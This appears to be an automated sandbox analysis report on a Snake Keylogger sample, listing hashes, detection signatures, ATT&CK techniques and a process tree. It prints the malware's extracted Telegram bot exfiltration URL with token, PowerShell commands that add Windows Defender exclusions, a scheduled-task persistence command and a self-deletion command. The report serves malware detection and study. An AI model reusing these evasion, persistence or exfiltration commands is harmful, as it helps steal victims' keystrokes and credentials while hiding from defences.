snakekeylogger | ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10-09-2024 09:56

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General

Target

ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Size

592KB
MD5

ae6ed7f141a85db09d7581cdc00b0428
SHA1

b39de7905138cc25e77d6b0892ba5e1e700c8760
SHA256

ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf
SHA512

1e6af63e42394d91e8a890b59d4a56a62c7c3ff4f378d5eda0889794645ac15aaa41786f04ec2cbcb8e5eff221bd05ff2fde98bfee730c464768e8ef69d6c3bb
SSDEEP

12288:+D46QPxR+LOVGOvwRhpWSsv0UWoNO/wavHCYLrSNnelkrkHfkR:+DNQZQzpRZIWoNO/zvCpNFka

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7152694115:AAHaHmDCgcQp63bt60B-ZXF1o-UoY9ASQuE/sendMessage?chat_id=7368703476

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

resource	yara_rule
behavioral1/memory/3044-31-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/3044-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/3044-28-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/3044-25-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/3044-23-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.exe
2924	powershell.exe

Deletes itself 1 IoCs

pid	Process
2864	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2520 set thread context of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2440	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
3044	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
2380	powershell.exe
2924	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Token: SeDebugPrivilege	3044	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 2380	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2520 wrote to memory of 2380	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2520 wrote to memory of 2380	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2520 wrote to memory of 2380	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	30
PID 2520 wrote to memory of 2924	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2520 wrote to memory of 2924	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2520 wrote to memory of 2924	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2520 wrote to memory of 2924	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	32
PID 2520 wrote to memory of 2440	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	34
PID 2520 wrote to memory of 2440	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	34
PID 2520 wrote to memory of 2440	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	34
PID 2520 wrote to memory of 2440	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	34
PID 2520 wrote to memory of 2908	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2520 wrote to memory of 2908	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2520 wrote to memory of 2908	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2520 wrote to memory of 2908	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	36
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 2520 wrote to memory of 3044	2520	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	37
PID 3044 wrote to memory of 2864	3044	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	39
PID 3044 wrote to memory of 2864	3044	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	39
PID 3044 wrote to memory of 2864	3044	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	39
PID 3044 wrote to memory of 2864	3044	ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe	39
PID 2864 wrote to memory of 2860	2864	cmd.exe	41
PID 2864 wrote to memory of 2860	2864	cmd.exe	41
PID 2864 wrote to memory of 2860	2864	cmd.exe	41
PID 2864 wrote to memory of 2860	2864	cmd.exe	41

C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
"C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\zPGkpEagT.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\zPGkpEagT" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC7C2.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2440
- C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
  "C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
  2⤵
  PID:2908
- C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe
  "C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf.exe"
    3⤵
    - Deletes itself
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmpC7C2.tmp

Filesize
1KB

MD5
914fd8fc53ec97fe88352ab5c52bf25d

SHA1
9970f16138bc00c60fe9222fd58975b486a69a85

SHA256
e8448fcf2d48bbf75177c63c51a5e5161cd64482f34be3a5259a5f42e504ed15

SHA512
861beb6b22089edab1e003bb9ba363beacdc2463898dc8a43bf5e7550261ca1b29d88046eb2797e4f9d09d588a93df344d5e6c83beac7292146ee32c4fdf274d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
25fd848632fdb941aa8995ca01f98675

SHA1
fdb5c2c2d7bd2154627a52f859afc042e539da74

SHA256
c5e9b89213d659bb4cf3321203e1d71e86123a175b7b035ac1875d1ebe585f9a

SHA512
a8a4ded79c19b6388fbca457afa895dc146a159953a5a9d468bf586c3ef473029ffe4334bb2b207e7c579e36fc26fc1111e60ed751f715bb8a824a277629bc2c

Download Submit
memory/2520-4-0x00000000747DE000-0x00000000747DF000-memory.dmp

Filesize
4KB

Download
memory/2520-32-0x00000000747D0000-0x0000000074EBE000-memory.dmp

Filesize
6.9MB

Download
memory/2520-0-0x00000000747DE000-0x00000000747DF000-memory.dmp

Filesize
4KB

Download
memory/2520-5-0x00000000747D0000-0x0000000074EBE000-memory.dmp

Filesize
6.9MB

Download
memory/2520-6-0x0000000004F10000-0x0000000004F78000-memory.dmp

Filesize
416KB

Download
memory/2520-2-0x0000000000630000-0x0000000000648000-memory.dmp

Filesize
96KB

Download
memory/2520-1-0x0000000000BB0000-0x0000000000C46000-memory.dmp

Filesize
600KB

Download
memory/2520-3-0x00000000747D0000-0x0000000074EBE000-memory.dmp

Filesize
6.9MB

Download
memory/3044-31-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3044-28-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3044-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/3044-25-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3044-23-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3044-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3044-19-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3044-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download